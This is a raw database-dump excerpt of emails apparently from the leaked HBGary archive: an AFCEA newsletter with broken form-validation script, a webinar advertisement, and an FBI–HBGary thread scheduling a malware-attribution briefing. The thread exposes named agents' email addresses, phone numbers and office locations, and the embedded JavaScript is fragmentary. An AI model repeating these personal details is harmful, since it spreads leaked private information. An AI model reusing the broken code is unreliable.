\r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								Does China pose a greater military or economic threat to the U.S.?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  military&nbsp;economic&nbsp;neither&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Cool App-titude: BioLock\r\n		An Online Marketplace Serving Those Who Serve\r\n        We\'re Only Human\r\n        \r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nMeasuring Performance in IT ProgramsMeasuring Performance in IT Programs09/16/2010Bethesda-North Marriott and Conferece Center, Bethesda, MD details ...DHS Eagle II - Small Business Breakfast09/21/2010Sheraton Premiere Tysons Corner 8661 Leesburg Pike , Vienna, VA 22182, VA details ...AFCEA DC Monthly Panel Series09/27/2010Pentagon City Ritz Carlton, Arlington, VA details ...AFCEA Belvoir Luncheon09/29/2010Ft. Belvoir Officers Club, Ft. Belvoir, VA details ...Information Sharing EnvironmentsInformation Sharing10/05/2010Bethesda-North Marriott and Conference Center, Bethesda, MD details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\nTechnology Provides Greater Leaps Forward for China\r\nThe People&rsquo;s Republic of China (PRC) is translating its dynamic economic growth into a long-term military program that projects power far beyond territorial or even regional defense. [Read more...]\r\nAir and Missile Defense Prototype System Arrives\r\nThe U.S. Army received a prototype that will eventually integrate current and future air and missile defense capabilities into one overall command and control  system. [Read more...] \r\nEmployers Dig E-Deep\r\n  While anecdotes abound about job opportunities lost over something posted online, new research reveals that the risk is greater than previously known. One survey revealed that 70 percent of recruiters have eliminated a candidate based on online text, photos or videos. [Read more...] \r\n\r\n\r\n News Briefs\r\nINVESTing in New Ideas\r\n  To help reach the U.S. Defense Department&rsquo;s five-year goal of saving $100 billion, the department is awarding prizes of $500 and $1,000 to civilian and military employees, including both active and reservists, who submit the most innovative ideas for improving efficiency within the department. Ideas for saving money, avoiding cost, reducing cycle time and increasing agility should be submitted through the website. Defense Secretary Robert Gates recently announced the initiative, which is known as the Innovation for New Value, Efficiency and Savings Tomorrow (INVEST) Award. On September 24, each military department will submit 25 ideas, and the rest of the department&mdash;including the defense agencies, Office of the Secretary of Defense and the Joint Staff&mdash;&mdash;will narrow the list to 40 ideas to be submitted to senior leaders. The 25 final winners will be announced in October.\r\nTake the Cyber Defense Challenge\r\nHigh school students can show off their cyber cunning at CyberPatriot III, the third annual national cybersecurity competition. Led by coaches, teams comprising five students will compete in cyberspace using special software and programs to solve vulnerabilities in their networks and defend a computer network from real-life computer threat scenarios. Top teams will then vie to determine which finalists will meet in April 2011 to compete in the championship round taking place at the Gaylord National Convention Center near Washington, D.C. More than 300 teams from 45 states already have organized teams, and the deadline to register is October 8, 2010. Teams interested in participating can sign up online.\r\nRocket Tracking Goes the Distance\r\n  The AN/AAQ-37 electro-optical distributed aperture system (DAS) for the F-35 Lightning II Joint Strike Fighter detected and tracked a rocket launch nearly 800 miles away during a recent flight test. DAS gives pilots 360-degree spherical day/night coverage, including the ability to see through the floor. In addition, the system tracks a target without an operator pointing the sensor directly at it. With multiple DAS sensors, high-frame refresh rates, high resolution, and advanced processors and algorithms, the system fuses images into one seamless picture. During the test, DAS detected and tracked the rocket during a 9-minute flight period from horizon break until final burnout.\r\nGraphene Moves Closer to Viability in Electronics\r\n  Multinational collaboration is increasing the understanding of graphene\'s potential in electronic devices. Graphene is an electrically conductive, high-strength, low-weight material of interest to the electronics industry for products such as transistors and other semiconductors; however, the structural loops that develop in the substance during the cleaning process must be overcome. After a series of nanoscale simulations and theoretical research, scientists from Oak Ridge National Laboratory, the Massachusetts Institute of Technology, the Universite Catholique de Louvain and Carlos III University of Madrid used imaging with a transmission electron microscope to subject graphene to electron irradiation, which prevented loop formation.\r\n\r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\n Government Seeks Change Through Challenges\r\n  The U.S. General Services Administration (GSA), in partnership with ChallengePost, has launched Challenge.gov, which invites the general public to propose solutions to government challenges, including the U.S. Army\'s push for new training and simulation tools utilizing artificial intelligence.  [Read more...]\r\n\r\n Preventing Dirty Bombs \r\n  The Global Threat Reduction Initiative (GTRI) is working to keep U.S. citizens safe from dirty bombs by conducting exercises on the other side of the world. Members representing the initiative recently wrapped up a three-scenario tabletop exercise in Mongolia to help the country prevent terrorists from obtaining its nuclear or radiological material.  [Read more...]\r\n\r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      \r\n      September 2010\r\n      Focus: Europe\r\n      Viewed in the Cold War as the battleground for the Free World, Europe has emerged with a new identity and a different security role. Its nations&rsquo; militaries are more diverse than ever, yet they share the common challenge of maintaining their effectiveness amid severe fiscal constraints. While NATO remains the dominant security alliance in Europe, the European Union is developing its own defense force for international operations. Meanwhile, NATO is striving to build a modern operational architecture for out-of-area missions not yet envisioned. SIGNAL Magazine&rsquo;s September issue examines many of these concerns as it looks at Europe&rsquo;s role in global security.\r\nFocus: U.S. Southern Command\r\n  Often overlooked as homeland security and warfighting dominate headlines, the U.S. Southern Command (SOUTHCOM) nonetheless serves an important role in active national security measures. The command is responsible for dealing with threats from south of the border, and recent developments have not lightened its load. Drug and human smuggling is up, and terrorism remains a threat both abroad and in the United States. SIGNAL&rsquo;s September issue looks at the key issues facing SOUTHCOM.\r\nRead these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Asia-Pacific Region\r\n           The largest area of responsibility in the world does not lack for issues. Its dozens of countries cannot always get along, but most of them do crave security. The United States and its allies often are the guiding force that keeps neighbors from becoming warring nations, but collecting these diverse countries under a single security umbrella requires creative thinking and actions. Then there is China, a rising power, and North Korea, a renegade nation. SIGNAL Magazine&rsquo;s October issue looks at the issues dominating the Asia-Pacific region and how some innovative solutions are being applied to its challenges.\r\n         Focus: Intelligence\r\n         Just as the lines between strategic and tactical operations are blurring, so are the lines delineating strategic and tactical intelligence. Today&rsquo;s threats rarely observe national borders or noncombatant distinctions, so intelligence must be able to serve needs anywhere and at any level. Diverse foes are generating new challenges, and technology is responding with new applications, but ultimately the human element will define the future of intelligence. SIGNAL&rsquo;s October focus looks at how intelligence is changing in this dynamic era.\r\n         \r\n         Community\r\n         \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n			  \r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n \r\n   var _gaq = _gaq || []; \r\n  _gaq.push([\'_setAccount\', \'UA-1095862-1\']); \r\n  _gaq.push([\'_trackPageview\']); \r\n \r\n  (function() { \r\n    var ga = document.createElement(\'script\'); ga.type = \'text/javascript\'; ga.async = true; \r\n    ga.src = (\'https:\' == document.location.protocol ? \'https://ssl\' : \'http://www\') + \'.google-analytics.com/ga.js\'; \r\n    var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s); \r\n  })(); \r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12380,'aaron_hbgary_com/12380.html'),(11763,'2010-09-15','\"Federal Procurement Pro\" <mail@fedpublications.com>','/aaron@hbgary.com/new/1297008821.M915712P14101Q6618.eml','aaron@hbgary.com','Next week: Online federal resources for contractors and suppliers SAVE TIME & MONEY! Register today.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n   \r\n \r\nWEBINARWednesday,September 22, 20101:00-2:30 PM EDT\r\n&nbsp;Featuring:Judy BradtPrincipalSummit Insight\r\nForward to a Colleague!\r\nHear what Attendees of Judy\'s July webinar said...Not just a sales pitch - some real help and lots of tools to follow up with.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SC, Manufacturer\r\nIt was everything and more that my department has been trying to relate to our offices interested in pursuing government business. \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RF, Service ProviderJudy\'s explanation of how to use the fedbizops website was very helpful; having the bonus papers and powerpoint materials is excellent. Following the webinar I set up a computer folder called Toolkit to keep those and other resource materials. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VG, Service Provider\r\n\r\n_____________________\r\nCan&rsquo;t Make the Session Live? Reserve your copyof the webinar on CD,Click here.&nbsp; _____________________&nbsp;\r\nFor more information onFederal Procurement Pro, Click here.\r\nFor more information on L2 Federal Resources, LLC., visit www.L2federalresources.com\r\nL2 Federal Resources, LLC. andFederal Procurement Pro presents an important\r\n federal marketing \r\neducation opportunity...\r\nGood News:&nbsp; There is so much helpful information online.Bad News:&nbsp;&nbsp;&nbsp; You don&rsquo;t have time to sort the good stuff from everything else!Good News:&nbsp; Help is on the way.\r\nWant to win government business faster than your competition? If so, you won&rsquo;t want to miss Judy Bradt, CEO of Summit Insight, present this special webinar &ndash;\r\n Best Online Resources for Government Marketing: Win Government Contracts Faster Than Your Competition. \r\nIn just 90 minutes, you&rsquo;ll get the straight talk &ndash; and candid insight &ndash; into which government and industry websites are worth your time, and why, with a particular focus on free and low-cost resources. This information-packed webinar presents online resources that support your quest for government contracts at each of the seven steps to success.&nbsp; Attend this webinar to learnStrategy development services and guidanceResearch sources to learn the market and focus your effortsMarket intelligence on competitors and teaming partnersThe jump point for agency-buying forecasts&hellip;and other hard-to-find agency sites that aren&rsquo;t thereSources of opportunities before they hit FedBizOppsIdeas on how to use social media wiselyAnd, much more!\r\nIn addition, a 10-to-15 minute period has been reserved at the end of the speaker\'s presentation for an interactive question-and-answer session so you can discuss specific issues or gain additional knowledge about topics discussed. To\r\n register now, \r\nclick here.&nbsp; Who Will Benefit?This webinar is a must if you are currently or considering working with the government on any projects and want to get more business from the government.\r\nJudy Bradt, PrincipalSummit InsightJudy Bradt is one of America&rsquo;s top champions for savvy business owners exploring government contracts, and a trusted advisor on growing your profit with the world&rsquo;s biggest buyer. For more than 22 years, she has counselled more than 6,000 clients who credit her advice for winning more than $300 million in government business.As Principal of Summit Insight in Washington DC, Judy&rsquo;s a strategic advisor for government contracts, bringing her clients, readers and audiences no-nonsense insight on winning government business. Her Seven Steps to Success just helped a client close contracts worth nearly $500,000! She&rsquo;s been covered by national media including\r\n Business Week, \r\nFortune Small Business, \r\nWashington Business Journal, \r\nSmart CEO Magazine, \r\nFinancial Post, Enterprising Woman, \r\nand\r\n Entrepreneur Magazine. \r\nFind out at the Summit Insight dotcom website. Webinar Details:&nbsp;Date:Wednesday, September 22, 2010&nbsp;Location:Your office or conference room (no need to travel!)&nbsp;Time: 1:00 &mdash; 2:30 EDT&nbsp;Price:Webinar Only -- $179 &nbsp;Webinar PLUS Audio CD and handouts -- $246&nbsp; Best Value!&nbsp;Audio CD and handouts only -- $215 (pre-conference price)\r\nTo Register\r\n ONLINE, Click here. For the FAX-BACK \r\nregistration form, Click here.&nbsp; To reserve your space by phone CALL (202) 455-4941.Added Benefit:&nbsp; In-house training tool:&nbsp; Train your entire staff for one low price! There is no limit to the number of participants at your location. Gather around the conference room table and listen toJudy, then discuss how it pertains to your particular company.&nbsp; For those who can&rsquo;t attend, you have the option to purchase the CD to listen to when more convenient, click here.\r\n&nbsp;L2 Federal Resources, LLC.&nbsp;&bull;&nbsp; 9210 Corporate Blvd. #360 &bull; Rockville, MD 20850 &bull; 202-455-4941\r\n  \r\n \r\n \r\n   \r\n \r\n\r\nClick here to unsubscribe\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n9210 Corporate Boulevard , Suite 360, Rockville, MD 20850\r\n\r\n	\r\n',3550,'aaron_hbgary_com/3550.html'),(11764,'2010-09-15','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297008822.M137547P14101Q6619.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Cyber Investigation Discussion - FBI/HBGary @ Wed Sep 15 1:30pm - 3:30pm (aaron@hbgary.com)',' more details &raquo;Cyber Investigation Discussion - FBI/HBGaryWhenWed Sep 15 1:30pm – 3:30pm Eastern TimeWhere2010 Corporate Ridge; McLean; Suite # 700; United States; Virginia 22102 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;zachary.delecki@ic.fbi.gov&#x2022;Christopher.Geary@ic.fbi.gov&#x2022;william.jones3@ic.fbi.govGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',15135,'aaron_hbgary_com/15135.html'),(11765,'2010-09-15','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008822.M434567P14101Q6620.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: HB Gary Presentation','Aaron\r\n\r\nWe are running a few minutes late,\r\n\r\n\r\nChris\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Jones, William A. IV\r\nCc: Geary, Christopher A.; Delecki, Zachary\r\nSent: Wed Sep 15 08:11:31 2010\nSubject: Re: HB Gary Presentation\r\n\r\nSorry all.  Looks like my calendar invite didn\'t go through.\r\n\r\nAddress is:\r\n2010 Corporate Ridge; McLean; Suite # 700; United States; Virginia 22102\r\n\r\nSee you this afternoon.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 15, 2010, at 6:22 AM, \"Jones, William A. IV\"\r\n wrote:\r\n\r\n> Chris,\r\n> Any word on an address for tomorrow?\r\n>\r\n> Thanks\r\n> Bill\r\n>\r\n> ----- Original Message -----\r\n> From: Geary, Christopher A.\r\n> To: Aaron Barr \r\n> Cc: Delecki, Zachary; Jones, William A. IV\r\n> Sent: Tue Sep 14 13:44:12 2010\r\n> Subject: RE: HB Gary Presentation\r\n>\r\n> Aaron,\r\n>\r\n> I just wanted to make sure that we are still on for tomorrow.  Also, can you provide the address that we will meet you at?   Thanks,\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Thursday, September 09, 2010 2:15 PM\r\n> To: Geary, Christopher A.\r\n> Cc: Delecki, Zachary; Jones, William A. IV\r\n> Subject: Re: HB Gary Presentation\r\n>\r\n> Yes.  Look forward to it.  I will send out the meeting notice.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Listed below are the attendees from Cyber Division HQ:\r\n>>\r\n>> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n>> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n>> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>>\r\n>>\r\n>> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Wednesday, September 08, 2010 12:59 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> That will be fine.  Would you like me to send out a meeting notice?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> is this for next Wed? or another day?\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>>\r\n>>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>> ----- Original Message -----\r\n>>>> From: Aaron Barr \r\n>>>> To: Geary, Christopher A.\r\n>>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>>> other locations that might be closer to you.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPhone\r\n>>>>\r\n>>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>>  wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>>\r\n>>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>> ________________________________________\r\n>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Chris,\r\n>>>>>\r\n>>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>>\r\n>>>>>> Thanks,\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>> ________________________________________\r\n>>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>>> To: Geary, Christopher A.\r\n>>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>>\r\n>>>>>> Hi Chris,\r\n>>>>>>\r\n>>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>>\r\n>>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>>\r\n>>>>>>> Thank You,\r\n>>>>>>>\r\n>>>>>>> Chris\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> SSA Christopher A. Geary\r\n>>>>>>> CERT/CC Liaison\r\n>>>>>>> 3238 CIC\r\n>>>>>>> Pittsburgh, PA 15213\r\n>>>>>>>\r\n>>>>>>> (412) 268-9244\r\n>>>>>>\r\n>>>>>\r\n>>>\r\n',6594,'aaron_hbgary_com/6594.html'),(11766,'2010-09-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008822.M635085P14101Q6621.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: HB Gary Presentation','No worries.  See you when you get here.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 15, 2010, at 1:20 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron\r\n>\r\n> We are running a few minutes late,\r\n>\r\n>\r\n> Chris\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Jones, William A. IV\r\n> Cc: Geary, Christopher A.; Delecki, Zachary\r\n> Sent: Wed Sep 15 08:11:31 2010\r\n> Subject: Re: HB Gary Presentation\r\n>\r\n> Sorry all.  Looks like my calendar invite didn\'t go through.\r\n>\r\n> Address is:\r\n> 2010 Corporate Ridge; McLean; Suite # 700; United States; Virginia 22102\r\n>\r\n> See you this afternoon.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 15, 2010, at 6:22 AM, \"Jones, William A. IV\"\r\n>  wrote:\r\n>\r\n>> Chris,\r\n>> Any word on an address for tomorrow?\r\n>>\r\n>> Thanks\r\n>> Bill\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Geary, Christopher A.\r\n>> To: Aaron Barr \r\n>> Cc: Delecki, Zachary; Jones, William A. IV\r\n>> Sent: Tue Sep 14 13:44:12 2010\r\n>> Subject: RE: HB Gary Presentation\r\n>>\r\n>> Aaron,\r\n>>\r\n>> I just wanted to make sure that we are still on for tomorrow.  Also, can you provide the address that we will meet you at?   Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Thursday, September 09, 2010 2:15 PM\r\n>> To: Geary, Christopher A.\r\n>> Cc: Delecki, Zachary; Jones, William A. IV\r\n>> Subject: Re: HB Gary Presentation\r\n>>\r\n>> Yes.  Look forward to it.  I will send out the meeting notice.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Listed below are the attendees from Cyber Division HQ:\r\n>>>\r\n>>> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n>>> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n>>> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>>>\r\n>>>\r\n>>> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Wednesday, September 08, 2010 12:59 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> That will be fine.  Would you like me to send out a meeting notice?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my 